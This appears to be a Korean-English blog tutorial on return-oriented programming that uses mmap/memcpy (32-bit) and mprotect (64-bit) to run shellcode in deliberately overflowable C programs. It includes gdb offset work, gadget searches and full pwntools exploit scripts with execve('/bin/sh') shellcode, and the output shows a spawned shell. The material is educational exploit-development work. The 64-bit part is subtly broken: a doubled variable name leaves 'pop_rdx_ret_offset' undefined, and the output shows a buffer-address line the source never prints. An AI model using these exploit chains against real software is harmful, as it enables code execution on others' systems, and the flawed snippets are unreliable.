Excuse the ads! We need some help to keep our site up.

List

ROP(Return Oriented Programming) - mmap, mprotect

mmap - 32bit(feat. POPAD, PUSHAD)

Example code

//gcc -m32 -fno-stack-protector -o rop rop.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}

void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

Overflow

lazenca0x0@ubuntu:~/Exploit/ROPStager/mmap$ gdb -q ./rop
Reading symbols from ./rop...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln 
Dump of assembler code for function vuln:
   0x0804854b <+0>:	push   ebp
   0x0804854c <+1>:	mov    ebp,esp
   0x0804854e <+3>:	sub    esp,0x48
   0x08048551 <+6>:	sub    esp,0x8
   0x08048554 <+9>:	push   0x8048650
   0x08048559 <+14>:	push   0xffffffff
   0x0804855b <+16>:	call   0x8048430 <dlsym@plt>
   0x08048560 <+21>:	add    esp,0x10
   0x08048563 <+24>:	mov    DWORD PTR [ebp-0xc],eax
   0x08048566 <+27>:	sub    esp,0x8
   0x08048569 <+30>:	push   DWORD PTR [ebp-0xc]
   0x0804856c <+33>:	push   0x8048657
   0x08048571 <+38>:	call   0x8048400 <printf@plt>
   0x08048576 <+43>:	add    esp,0x10
   0x08048579 <+46>:	sub    esp,0x4
   0x0804857c <+49>:	push   0x100
   0x08048581 <+54>:	lea    eax,[ebp-0x3e]
   0x08048584 <+57>:	push   eax
   0x08048585 <+58>:	push   0x0
   0x08048587 <+60>:	call   0x80483f0 <read@plt>
   0x0804858c <+65>:	add    esp,0x10
   0x0804858f <+68>:	nop
   0x08048590 <+69>:	leave  
   0x08048591 <+70>:	ret    
End of assembler dump.
gdb-peda$ b *0x0804854b
Breakpoint 1 at 0x804854b
gdb-peda$ b *0x08048587
Breakpoint 2 at 0x8048587
gdb-peda$ 
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/ROPStager/mmap/rop 
Hello ROP

Breakpoint 1, 0x0804854b in vuln ()
gdb-peda$ i r esp
esp            0xffffd5cc	0xffffd5cc
gdb-peda$ x/wx 0xffffd5cc
0xffffd5cc:	0x080485bc
gdb-peda$ c
Continuing.
Printf() address : 0xf7e4b020
Breakpoint 2, 0x08048587 in vuln ()
gdb-peda$ i r esp
esp            0xffffd570	0xffffd570
gdb-peda$ x/3wx 0xffffd570
0xffffd570:	0x00000000	0xffffd58a	0x00000100
gdb-peda$ p/d 0xffffd5cc - 0xffffd58a
$1 = 66
gdb-peda$ 

Exploit method

  • mmap() 함수를 이용하여 RWX 권한을 가지는 메모리 영역 생성
  • memcpy() 함수를 이용하여 shellcode를 mmap() 함수로 생성한 영역에 복사
mmap(0x20000000,0x1000,0x7,0x22,0xffffffff,0)
memcpy(0x20000000,'address of shellcode',len(shellcode))

memcpy()

gdb-peda$ disassemble memcpy 
Dump of assembler code for function memcpy:
   0xf7629860 <+0>:	call   0xf76d028d
   0xf7629865 <+5>:	add    edx,0x13979b
   0xf762986b <+11>:	mov    ecx,DWORD PTR [edx-0xdc]
   0xf7629871 <+17>:	lea    eax,[edx-0x139730]
   0xf7629877 <+23>:	test   DWORD PTR [ecx+0x68],0x4000000
   0xf762987e <+30>:	je     0xf76298b3 <memcpy+83>
   0xf7629880 <+32>:	lea    eax,[edx-0x8bc10]
   0xf7629886 <+38>:	test   DWORD PTR [ecx+0x94],0x10
   0xf7629890 <+48>:	jne    0xf76298b3 <memcpy+83>
   0xf7629892 <+50>:	test   DWORD PTR [ecx+0x64],0x200
   0xf7629899 <+57>:	je     0xf76298b3 <memcpy+83>
   0xf762989b <+59>:	lea    eax,[edx-0x8ae20]
   0xf76298a1 <+65>:	test   DWORD PTR [ecx+0x94],0x1
   0xf76298ab <+75>:	je     0xf76298b3 <memcpy+83>
   0xf76298ad <+77>:	lea    eax,[edx-0x84be0]
   0xf76298b3 <+83>:	ret    
End of assembler dump.
gdb-peda$

https://github.com/walac/glibc/blob/master/sysdeps/x86_64/multiarch/memcpy.S

POPAD, PUSHAD

InstructionDescription

POPAD

  • 스택에 존재하는 값을 EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI 레지스터에 저장합니다.

  • PUSHAD 명령어로 스택에 보관해 놓은 레지스터 정보를 다시 이용할 때 사용한다.

PUSHAD

  • EAX, ECX, EDX, EBX, ESP, EBP, ESI, EDI 순으로 레지스터의 값을 스택에 저장합니다.
  • 레지스터들의 값을 보관해야 할 때 사용한다.

ROP code

Before running PUSHAD

After running PUSHAD

Stack Address

Value

Explanation

Value

Explanation

0x1000mmap() function address of libc
mmap() function address of libc
0x1004Address of gadgets(popad)0x1024 영역으로 이동Address of gadgets(popad)

0x1008

First argument value
First argument value
0x100CSecond argument value
Second argument value
0x1010Third argument value
Third argument value
0x1014Fourth argument value
Fourth argument value
0x1018Fifth argument value
Fifth argument value
0x101C'AAAA'
'AAAA'
0x1020'AAAA'
'AAAA'
0x1024memcpy() function address of libc
memcpy() function address of libc
0x1028Address of gadgets(xchg eax, edi)
memcpy() function address of libcESP : 0x1028
0x102CAddress of gadgets(pop esi)
Address of new memory area
0x1030

Address of new memory area


Address of new memory area
0x1034Address of gadgets(pop ebp)
Address of shellcode
0x1038Address of new memory area
Length of shellcode
0x103CAddress of gadgets(pop ebx)


0x1040Length of shellcode


0x1044Address of gadgets(pushad)0x1028 영역으로 이동

0x1048

shellcode




Find gadget

lazenca0x0@ubuntu:~/Exploit/ROPStager$ ./rp-lin-x64 -f /lib32/libc-2.23.so -r 2| grep "xchg eax, edi"
...
0x0007633e: xchg eax, edi ; mov esi, edx ; ret  ;  (1 found)
...
lazenca0x0@ubuntu:~/Exploit/ROPStager$
lazenca0x0@ubuntu:~/Exploit/ROPStager$ ./rp-lin-x64 -f /lib32/libc-2.23.so -r 1| grep "popad"
...
0x00168dfe: popad  ; ret  ;  (1 found)
0x0017ac05: popad  ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/ROPStager$ 
lazenca0x0@ubuntu:~/Exploit/ROPStager$ ./rp-lin-x64 -f /lib32/libc-2.23.so -r 1| grep "pushad"
...
0x0000979c: pushad  ; ret  ;  (1 found)
0x0011cf5d: pushad  ; ret  ;  (1 found)
0x00161f60: pushad  ; ret  ;  (1 found)
0x001656b0: pushad  ; ret  ;  (1 found)
0x001685f8: pushad  ; ret  ;  (1 found)
0x00179a5f: pushad  ; ret  ;  (1 found)
0x0017cd48: pushad  ; ret  ;  (1 found)
0x00188a91: pushad  ; ret  ;  (1 found)
0x0018a8ae: pushad  ; ret  ;  (1 found)
0x00194f2e: pushad  ; ret  ;  (1 found)
0x0019b140: pushad  ; ret  ;  (1 found)
...
lazenca0x0@ubuntu:~/Exploit/ROPStager$

Exploit code

from pwn import *
from struct import *

#context.log_level = 'debug'

#32bit OS
#libc = ELF("/lib/i386-linux-gnu/libc-2.23.so")
#64bit OS
libc = ELF("/lib32/libc-2.23.so")

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"

binary = ELF('./rop')
p = process(binary.path)

p.recvuntil('Printf() address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

new_memory = 0x20000000

#Libc
libc_base = stackAddr - 0x49020
libc_mmap = libc_base + libc.symbols['mmap']
libc_memcpy = libc_base + libc.symbols['memcpy']

#ROP Gadget
libc_popad = libc_base + 0x00168dfe
libc_xchg_eax_edi = libc_base + 0x0007633e
libc_pop_esi = libc_base + 0x00017828
libc_pop_ebp = libc_base + 0x000179a7
libc_pop_ebx = libc_base + 0x00018395
libc_pushad = libc_base + 0x0000979c

log.info('Libc base : '+hex(libc_base))
log.info('mmap addr : '+hex(libc_mmap))
log.info('memcpy addr : '+hex(libc_memcpy))

payload = "A"*66

#mmap(0x20000000,0x1000,0x7,0x22,0xffffffff,0)
payload += p32(libc_mmap)
payload += p32(libc_popad)
payload += p32(new_memory)
payload += p32(0x1000)
payload += p32(0x7)
payload += p32(0x22)
payload += p32(0xffffffff)
payload += p32(0)
payload += 'AAAA' * 2


#memcpy(new_memory,'address of shellcode',(len(shellcode))
payload += p32(libc_memcpy)
payload += p32(libc_xchg_eax_edi)
payload += p32(libc_pop_esi)
payload += p32(new_memory)
payload += p32(libc_pop_ebp)
payload += p32(new_memory)
payload += p32(libc_pop_ebx)
payload += p32(len(shellcode))
payload += p32(libc_pushad)
payload += shellcode

sleep(20)
p.send(payload)
p.interactive()
lazenca0x0@ubuntu:~/Exploit/ROPStager/mmap$ python rop.py 
[*] '/lib32/libc-2.23.so'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] '/home/lazenca0x0/Exploit/ROPStager/mmap/rop'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process '/home/lazenca0x0/Exploit/ROPStager/mmap/rop': pid 43618
[*] Libc base : 0xf75f5000
[*] mmap addr : 0xf76d6060
[*] memcpy addr : 0xf766b860
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$  

mprotect- 64bit

Example code

//gcc -fno-stack-protector -o rop64 rop64.c -ldl
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <dlfcn.h>
 
void vuln(){
    char buf[50];
    void (*printf_addr)() = dlsym(RTLD_NEXT, "printf");
    printf("Printf() address : %p\n",printf_addr);
    read(0, buf, 256);
}

void main(){
    write(1,"Hello ROP\n",10);
    vuln();
}

Overflow

lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ gdb -q ./rop64
Reading symbols from ./rop64...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln 
Dump of assembler code for function vuln:
   0x00000000004006c6 <+0>:		push   rbp
   0x00000000004006c7 <+1>:		mov    rbp,rsp
   0x00000000004006ca <+4>:		sub    rsp,0x40
   0x00000000004006ce <+8>:		mov    esi,0x4007c4
   0x00000000004006d3 <+13>:	mov    rdi,0xffffffffffffffff
   0x00000000004006da <+20>:	call   0x4005b0 <dlsym@plt>
   0x00000000004006df <+25>:	mov    QWORD PTR [rbp-0x8],rax
   0x00000000004006e3 <+29>:	mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004006e7 <+33>:	mov    rsi,rax
   0x00000000004006ea <+36>:	mov    edi,0x4007cb
   0x00000000004006ef <+41>:	mov    eax,0x0
   0x00000000004006f4 <+46>:	call   0x400580 <printf@plt>
   0x00000000004006f9 <+51>:	lea    rax,[rbp-0x40]
   0x00000000004006fd <+55>:	mov    edx,0x100
   0x0000000000400702 <+60>:	mov    rsi,rax
   0x0000000000400705 <+63>:	mov    edi,0x0
   0x000000000040070a <+68>:	call   0x400590 <read@plt>
   0x000000000040070f <+73>:	nop
   0x0000000000400710 <+74>:	leave  
   0x0000000000400711 <+75>:	ret    
End of assembler dump.
gdb-peda$ b *0x00000000004006c6
Breakpoint 1 at 0x4006c6
gdb-peda$ b *0x000000000040070a
Breakpoint 2 at 0x40070a
gdb-peda$ 
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/ROPStager/mprotect/rop64
Hello ROP

Breakpoint 1, 0x00000000004006c6 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe488	0x7fffffffe488
gdb-peda$ c
Continuing.
Printf() address : 0x7ffff785e800
buf[50] address : 0x7fffffffe440

Breakpoint 2, 0x000000000040070a in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe440	0x7fffffffe440
gdb-peda$ p/d 0x7fffffffe488 - 0x7fffffffe440
$1 = 72
gdb-peda$ 

Exploit method

  • mprotect() 함수를 이용하여 Shellcode가 저장된 메모리 영역의 권한을 RWX로 변경

    • mprotect()는 [addr, addr+len-1] 구간 주소 범위를 일부라도 담고 있는 호출 프로세스의 메모리 페이지들에 대한 접근 보호를 변경한다. 

    • addr의 값은 페이지 경계에 맞게 정렬되어 있어야 한다.

      • Page의 크기는 4096 입니다.

    • Ex)

      • 사용 불가능 : 0x7ffd0e0a4470

      • 사용 가능 : 0x7ffd0e0a4000
mprotect(address of shellcode,0x2000,0x7)
  • libc offset
    • mprotect
  • 가젯의 위치
    • pop rdi,ret
    • pop rsi,ret 
    • pop rdx,ret 

Find gadget

lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ ./rp-lin-x64 -f ./rop64 -r 1| grep "pop rdi"
0x004007a3: pop rdi ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ 
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ ./rp-lin-x64 -f /lib/x86_64-linux-gnu/libc-2.23.so -r 2| grep "pop rdx"
...
0x001150a3: pop rdx ; pop r10 ; ret  ;  (1 found)
0x001150a4: pop rdx ; pop r10 ; ret  ;  (1 found)
0x00101ffc: pop rdx ; pop rbx ; ret  ;  (1 found)
0x001194ab: pop rdx ; pop rbx ; ret  ;  (1 found)
0x0011d174: pop rdx ; pop rbx ; ret  ;  (1 found)
0x001435b2: pop rdx ; pop rbx ; ret  ;  (1 found)
0x001435fa: pop rdx ; pop rbx ; ret  ;  (1 found)
0x00143824: pop rdx ; pop rbx ; ret  ;  (1 found)
0x001150c9: pop rdx ; pop rsi ; ret  ;  (1 found)
0x00001b92: pop rdx ; ret  ;  (1 found)
0x00001b96: pop rdx ; ret  ;  (1 found)
0x00001b9a: pop rdx ; ret  ;  (1 found)
0x00001b9e: pop rdx ; ret  ;  (1 found)
0x001150a6: pop rdx ; ret  ;  (1 found)
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ 

Exploit code

from pwn import *
from struct import *
 
#context.log_level = 'debug'

shellcode = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"

libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
libcbase_printf_offset = libc.symbols['printf']
libcbase_mprotect_offset = libc.symbols['mprotect']
 
pop_rdi_ret = 0x004007a3 
pop_rdx_ret_offsetpop_rdx_ret_offset = 0x1150c9
 
r = process('./rop64')
 
r.recvn(10)
r.recvuntil('Printf() address : ')
libcbase = int(r.recvuntil('\n'),16)
libcbase -= libcbase_printf_offset 

r.recvuntil('buf[50] address : ')
stack = int(r.recvuntil('\n'),16)
back = str(hex(stack))
shellArea = int(back[0:11] + '000',16)

log.info(back[0:11])
log.info(hex(shellArea))
log.info("libcbase : " + hex(libcbase))
log.info("stack : " + hex(stack))
log.info("mprotect() : " + hex(libcbase + libcbase_mprotect_offset))

payload = shellcode 
payload += "A" * (72 - len(shellcode))


#mprotect(address of shellcode,0x2000,0x7)
payload += p64(pop_rdi_ret)
payload += p64(shellArea)
payload += p64(libcbase + pop_rdx_ret_offset)
payload += p64(0x7)
payload += p64(0x2000)
payload += p64(libcbase + libcbase_mprotect_offset)
payload += p64(stack)
 
r.send(payload)
r.interactive()
lazenca0x0@ubuntu:~/Exploit/ROPStager/mprotect$ python rop.py
[*] '/lib/x86_64-linux-gnu/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './rop64': pid 43561
[*] 0x7ffd0e0a4
[*] 0x7ffd0e0a4000
[*] libcbase : 0x7fe88a73e000
[*] stack : 0x7ffd0e0a4470
[*] mprotect() : 0x7fe88a83f770
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ 

References

Comments